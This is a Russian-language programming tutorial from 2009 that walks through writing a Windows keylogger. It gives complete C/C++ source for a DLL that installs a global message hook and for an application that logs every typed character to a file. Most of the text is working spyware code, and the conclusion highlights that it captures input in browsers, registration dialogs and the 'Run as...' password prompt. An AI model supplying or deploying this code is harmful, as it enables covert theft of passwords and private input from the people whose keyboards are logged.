Кейлоггер? Это просто!
Опубликовал j3qx на Январь 8, 2009
В этой статье рассматриваются некоторые функции Win32 API, приемы и методы программирования под Windows достаточные для написания простого клавиатурного шпиона. Статья написана опираясь на материалы и вопросы форума uinc.ru по этой теме.
Введение
Зачем применяется клавиатурный шпион? В мирных целях – чтобы отследить определенную последовательность нажатий пользователем на клавиатуре. Пример – Abbyy Lingvo со своим <Ctrl>+<Ins>+<Ins>. А в «военных» – просто зафиксировать все вводимое с клавиатуры. В каких целях – ну это уже другой вопрос.
Методы
Ввод обычных символов с клавиатуры в Windows (как правило) отражается посылкой сообщений WM_KEYDOWN, WM_KEYUP окну в которое осуществляется ввод. Эти сообщения передают virtual-key коды нажатых клавиш. С ними не удобно работать поскольку нам самим придется преобразовывать их в вводимые символы, учитывая текущую кодировку, регистр и тд. В Win API этим занимается функция TranslateMessage(). Она транслирует эти сообщения с virtual-key кодами в символьные (WM_CHAR) и снова посылает их окну.
С помощью функции SetWindowHookEx мы установим ловушку (хук) для фильтрации посылаемых сообщений в Windows. Нас интересует сообщение WM_CHAR. Для этого вызовем ее с параметром WH_GETMESSAGE. С помощью SetWindowHookEx мы установим callback функцию, которая будет вызываться всякий раз когда сообщение будет попадать в очередь. А точнее всякий раз когда функци GetMessage или PeekMessage вынимают сообщение из очереди. Прежде чем «отдать» сообщение приложению, система передает это сообщение нашей хук-функции. С помощью хуков можно отслеживать события происходящие как в отдельном потоке, так и во всех потоках в системе. Мы поставим глобальный хук. Для глобальных хуков callback функция должна находиться в Dll. Callback функция вызывается из разных процессов, а dll, соответственно, подгружается во все эти процессы.
Итак, мы напишем dll, внутри которой будем устанавливать хук и внутри нее же будет находиться callback функция. А еще мы напишем основное приложение. Из него мы будем вызывать эту dll. Когда dll поймает нажатие клавиши – мы будем информировать свое главное приложение посылкой ему сообщения. А главное приложение уже будет обрабатывать это событие – делать запись в файл.
Листинг MyHookDll.h
Вот интерфейс нашей dll-ли. Мы опишем и экспортируем две функции SetHook и UnsetHook. Думаю по названию понятно что делают эти функции. SetHook принимает два параметра – это handle окна, куда посылать нотификационное сообщение и собственно само сообщение. UnsetHook – без параметров.
#define MYHOOKDLL_API __declspec(dllexport)
#include <windows.h>
extern "C"
{
MYHOOKDLL_API int SetHook( HWND,UINT );
MYHOOKDLL_API int UnSetHook();
}
Листинг MyHookDll.cpp
А вот и сама dll.
#include "MyHookDll.h" // Глобальные переменные HINSTANCE hInstance = NULL; // The instance of the DLL // Описание нашей хук-функци LRESULT CALLBACK KeyboardMsgProc ( int, WPARAM, LPARAM );
А вот тут внимание, тонкий момент. Внутри dll-ли нам нужно хранить как минимум handle окна и сообщение. Но обратите внимание, что наша dll подгружается во все процессы. А все данные в dll (в том числе и глобальные) hInstance-зависимые. Поэтому мы объявим специальную разделяемую (shared) секцию. Данные обявленные в ней будут доступные всем экземплярам этой DLL. Обратите внимание на то, что во-первых, все переменные, объявленные здесь, должны быть проинициализированы; и во-вторых – имя секции может быть любым, но оно обрезается линкером до восьми символов (а то это может показаться странным когда вы посмотрите в откомпилированный екзешник).
#pragma data_seg(".SData")
HHOOK hMsgHook = NULL; // Handle нашего хука
UINT KBoardMessage = NULL; // Сообщение, которое мы будем посылать
// родительскому приложению
HWND hParentWnd = NULL; // Окно родительского приложения
#pragma data_seg( )
//Директива линкеру создать разделяемую(shared) секцию с атрибутами RWS
#pragma comment(linker,"/SECTION:.SData,RWS")
// Далее, обычная DllMain
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
hInstance = (HINSTANCE)hModule;
return TRUE;
}
// Две функции SetHook и UnsetHook
MYHOOKDLL_API int SetHook (HWND hWnd, // window which
// should receive notification messages
UINT UpdateMsg) // notification message
{
if (hWnd == NULL) return -1;
// Save received parameters
hParentWnd = hWnd;
KBoardMessage = UpdateMsg;
// Set hook
hMsgHook= ::SetWindowsHookEx (WH_GETMESSAGE, KeyboardMsgProc, hInstance, 0);
// If we are failed...
if (hMsgHook == NULL)
return -1;
return 0;
};
MYHOOKDLL_API int UnSetHook()
{
UnhookWindowsHookEx (hMsgHook);
hMsgHook = NULL;
return 0;
};
// И сама callback функция хука
В зависимости от типа хука – его callback функция возвращает разную информацию. Наш хук возвращает структуру MSG. Итак если она не пустая, сообщение – WM_CHAR и оно вынимается из очереди (ведь приложение может сколько угодно «смотреть» на сообщение, вызывая функцию PeekMessage с параметром PM_NOREMOVE, но вынуть его сможет один раз) посылаем своему приложению нотификацию.
LRESULT CALLBACK KeyboardMsgProc (int code, WPARAM wParam, LPARAM lParam)
{
if (code >= 0)
{
MSG * msg = (MSG * )lParam;
if ((lParam)
&&(msg->message == WM_CHAR)
&&(wParam == PM_REMOVE))
PostMessage (hParentWnd, KBoardMessage, msg->wParam, 0 );
}
return CallNextHookEx (hMsgHook, code ,wParam , lParam);
};
Все. Можно компилировать.
Основное приложение
Оно очень простое. И состоит из одного файла
#include <windows.h>
#include <stdio.h>
// Функция окна
LRESULT CALLBACK LogWndProc(HWND, UINT, UINT, LONG);
// Сообщение, которое мы будем получать от хука
#define WM_HOOKMESSAGE WM_USER+1
// Глобальные пременные
HWND hWnd; // Главное окно приложения
HINSTANCE hDllInst; // Dll с хуком
// И две функции
int ( * SetHook)( HWND,UINT);
int (* UnSetHook)();
// Вход в программу
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
MSG msg;
WNDCLASS wc;
// Класс и окно которое будет получать уведомление о нажатиях клавиш.
memset (&wc, 0, sizeof (wc));
wc.lpszClassName = "__MyKeyLogger";
wc.hInstance = hInstance;
wc.lpfnWndProc = LogWndProc;
wc.style = CS_HREDRAW | CS_VREDRAW ;
wc.hbrBackground = (HBRUSH)(COLOR_MENU+1);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
RegisterClass(&wc);
hWnd = ::CreateWindowEx (0,
"__MyKeyLogger",
"My KeyLogger",
WS_POPUP |WS_VISIBLE | WS_CAPTION | WS_SYSMENU |WS_THICKFRAME ,
0, 0, 200, 200,
NULL,
NULL,
hInstance,
0);
// Подгружаем dll
hDllInst = LoadLibrary((LPCTSTR) "myhookdll.dll");
if (hDllInst)
{
SetHook = (int ( *)(HWND, UINT ))GetProcAddress(hDllInst,"SetHook");
UnSetHook = (int ( *)( ))GetProcAddress(hDllInst, "UnSetHook");
}
// Устанавливаем хук
if(SetHook)SetHook(hWnd, WM_HOOKMESSAGE);
// Цикл сообщений
while (GetMessage(&msg, NULL, 0, 0))
{
DispatchMessage(&msg);
}
// Снимаем хук
if(UnSetHook)UnSetHook();
if (IsWindow(hWnd ))
DestroyWindow (hWnd );
// Выгружаем dll
if (hDllInst) FreeLibrary(hDllInst);
// Выход
return 0;
}
// Функция окна
// В ней основной пункт - обработка нашего сообщения
LRESULT CALLBACK LogWndProc(HWND hwnd, UINT Message, UINT wParam, LONG lParam)
{
FILE * f = fopen("a.log","a");
switch (Message)
{
case WM_CLOSE:
DestroyWindow(hwnd);
break;
case WM_HOOKMESSAGE:
switch(wParam)
{
// для некоторых символов выведем их "название"
case 0x08: fprintf(f,"<BkSp>");break;
case 0x1b: fprintf(f,"<Esc>");break;
case 0x0d: fprintf(f,"\n");break;
default:
fprintf(f,"%c",wParam );
}
break;
case WM_DESTROY:
case WM_ENDSESSION:
PostQuitMessage (0);
break;
}
fclose(f);
return DefWindowProc(hwnd,Message,wParam,lParam);
}
Компилируем!
Кейлоггер готов.
Заключение
Даже такой простой кейлоггер может многое. Будучи запущен с правами простого пользователя (не администратора) он может перехватывать ввод информации в практически любое окно Windows. Теперь вам доступно логгирование информации вводимой в окна броузеров, диалогов настройки и регистрации, оффисные приложения и окошко «Run as…». 
Однако, ввод в некоторые окна наша программа не перехватывает.
Во-первых, это консольные окна в Win NT/2k/XP. Причина этому очень проста – сообщения WM_KEYDOWN и WM_KEYUP не транслируются в WM_CHAR. Этим окнам просто не приходит сообщение WM_CHAR.
Во-вторых, консольные окна Win9X. Там ввод с клавиатуры в консольное окно вообще не отражается посылкой сообщений.
И наконец, окошко winlogon-на – «специального» процесса в Win NT/2k/Xp.
Но решение этих задач выходит за рамки данной статьи.
Статья написана специально для http://www.uinc.ru/
Автор: TN